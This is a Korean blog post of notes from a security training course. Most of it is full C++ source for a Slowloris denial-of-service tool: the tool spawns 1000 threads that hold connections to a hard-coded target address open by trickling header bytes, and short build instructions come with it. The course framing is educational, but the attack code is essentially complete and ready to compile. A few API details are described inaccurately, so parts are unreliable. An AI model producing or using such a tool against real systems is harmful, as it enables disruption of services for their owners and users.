10 - 악성코드 분석 1(간단한 실습)

2021. 6. 9. 17:38·기타 교육/정보보호 컨설팅 전문가 양성과정
728x90

실습

 

1. 제작 - Slowloris(동물이름과 똑같다)

 

특징 : 엄청 느린 Dos 공격이다. 패킷의 Header를 계속 보내서 Session을 유지한다. 1대의 PC와 1대의 Server서버이면 크게 상관 없지만, 몇 만대의 PC가 계속 세션을 유지하면 서버에 과부하가 생긴다.

 

제작 환경 

Microsoft Visual  Studio 2019

C++ language  

 

제작 필수 API

WSAStartup() : WS2_32.dll을 사용 할 수 있도록 초기화 하는데 사용

gethostbyname() : IP주소를 알아낼때 사용

CreateThread() : Thread 생성

socket() : 데이터 전송에 사용되는 소켓을 생성

connect() : 서버에 연결

send() : 데이터 전송

Sleep() : 대기

Closesocket() : 이미지 삭제 


Debug 모드에서 Release모드로 속성을 바꿔야 한다.(용량 및 실행 여부 차이)

VS Studio에서 런타임 라이브러리에서 다중 스레드로 변경

 

코드 생성

 

#include<stdio.h>
#include<Winsock2.h>

#pragma comment(lib, "ws_32.lib")

DWORD WINAPI SlowlorisThread(PVOID p)
{
	SOCKET s;
	sockaddr_in* victim;

	char header[] = "GET /";
	char a = 'A';
	int n;

	victim = (sockaddr_in*)p;

	while (1)
	{
		s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		//소켓이 제대로 생성이 되었다면
		if (s != INVALID_SOCKET)
		{
			//접속 시도하고
			connect(s, (sockaddr*)victim, sizeof(sockaddr_in));
			//헤더 날림
			send(s, header, sizeof(header) * 1, 0);
			while (1)
			{
				n = send(s, &a, 1, 0);
				if (n == SOCKET_ERROR)
				{
					break;
				}
				//하나 날리고 쉬고 하나 날리고 쉬고를 반복
				Sleep(100);
			}

		}
	}
}


int main() {
	WSADATA WD;
	ULONG i;
	hostent* host;
	sockaddr_in victim;


	WSAStartup(0X202, &WD); /* 윈도우 소켓 사용준비 */

	char victim_ip[] = "192.168.10.1"; /*공격대상 ip입력 */

	host = gethostbyname(victim_ip);
	victim.sin_family = AF_INET;
	victim.sin_addr.S_un.S_addr = *(PULONG)host->h_addr;


	printf("\nCreating thrade for slowloris is attack\n");

	/* 공격 스레드 생성*/
	for (i = 0; i < 1000; i++)
	{
		CreateThread(NULL, 0, SlowlorisThread, &victim, 0, NULL);
	}
	printf("\nAttack started\n");
	printf("\nPlease ENTER anykey to stip attack\n");
	getchar();
	
	return 0;
}

 

 

이미지 Password(패스워드) : 감염


CyberCher

 

 

키값 a를 주고 192.168.10.1(공격 대상 서버)


악성 코드 분석 

사전지식

- 컴파일/디컴파일(컴파일된 exe를 다시 source로 만드는 것을 디컴파일)

- 어셈블리어 

- 레지스터

 

 

728x90
반응형

'기타 교육 > 정보보호 컨설팅 전문가 양성과정' 카테고리의 다른 글

11 - 악성코드 분석 2(미완료)  (0) 2021.06.10
8 - 컨설턴트 전문가 직무 특강  (0) 2021.06.09
9 - 침투 테스트(Penertration testing)[테스트 종류/유형 , IP 스캔, Nmap, Fidder Web Debugger)  (0) 2021.06.08
7 - 모의해킹(OWSAPBrokenweb/)  (0) 2021.06.04
6 - 네트워크 보안(OSI 7계층, 이더넷, Data Header(데이터 헤더), CSMA/CD, IP 프로토콜, Hub, Wire Shark)  (0) 2021.05.28
'기타 교육/정보보호 컨설팅 전문가 양성과정' 카테고리의 다른 글
  • 11 - 악성코드 분석 2(미완료)
  • 8 - 컨설턴트 전문가 직무 특강
  • 9 - 침투 테스트(Penertration testing)[테스트 종류/유형 , IP 스캔, Nmap, Fidder Web Debugger)
  • 7 - 모의해킹(OWSAPBrokenweb/)
Royal!
Royal!
Bachelor of Arts. Bachelor of Science in Engineering. Master of Science in Engineering (In Progress). Job Title: Infrastructure & Security & Cloud Engineer. Etc: Mentor at Fourth Industrial Revolution Center.
  • Royal!
    Security
    Royal!
  • 전체
    오늘
    어제
    • 분류 전체보기
      • 운영체제
      • 네트워크
      • 클라우드
      • 서버
        • Container
      • 보안
      • 프로그래밍
        • Python_혼자 끄적끄적
        • Python_AI(영상처리)
        • 빅데이터
        • C_정보올림피아드 Language_Coder
        • C_QnA
      • 자격증
        • 정보보안기사
        • 정보처리기사
        • ADsP
        • CPPG
        • 보안법률
        • NCA~NCP
        • AWS Certified Solutions Arc..
      • 기타
        • 면접일지
        • 기타 활동
        • 인턴활동
        • 논문 요약
        • Hackerschool FTZ
        • 리버싱 걸음마
      • 기타 교육
        • KISA 정보보호제품실습군
        • 빅데이터_분석실무
        • 시큐어코딩진단전문교육(호남정보보호센터)
        • SW테스트 전문가 과정(ISTQB CTFL자격)
        • 정보보호 컨설팅 전문가 양성과정
        • K-Shield Jr_악성코드분석
        • K-Shield Jr_침해사고분석
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    nce dump
    NCP AI
    SSRF 완화방법
    F5 SSRF
    왓콘
    proxy protocol 설정
    nce덤프
    수호아이오
    NCP AI Expert
    WAF SSRF
    네이버클라우드 ftp 설정
    행정기반서비스
    네이버클라우드 ai
    NCP AI 교육
    F5
    네이버 AI
    SSRF 막는 방법
    NCE AI자격증
    블록체인
    NCP AI 자격증
    리드포인트시스템
    NCE AI 자격증
    AuroraPay
    NCE AI 교육
    proxy protocol
    NCE AI
    2025블록체인누리단
    ai
    F5 AWAF
    F5 WAF
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
Royal!
10 - 악성코드 분석 1(간단한 실습)
상단으로

티스토리툴바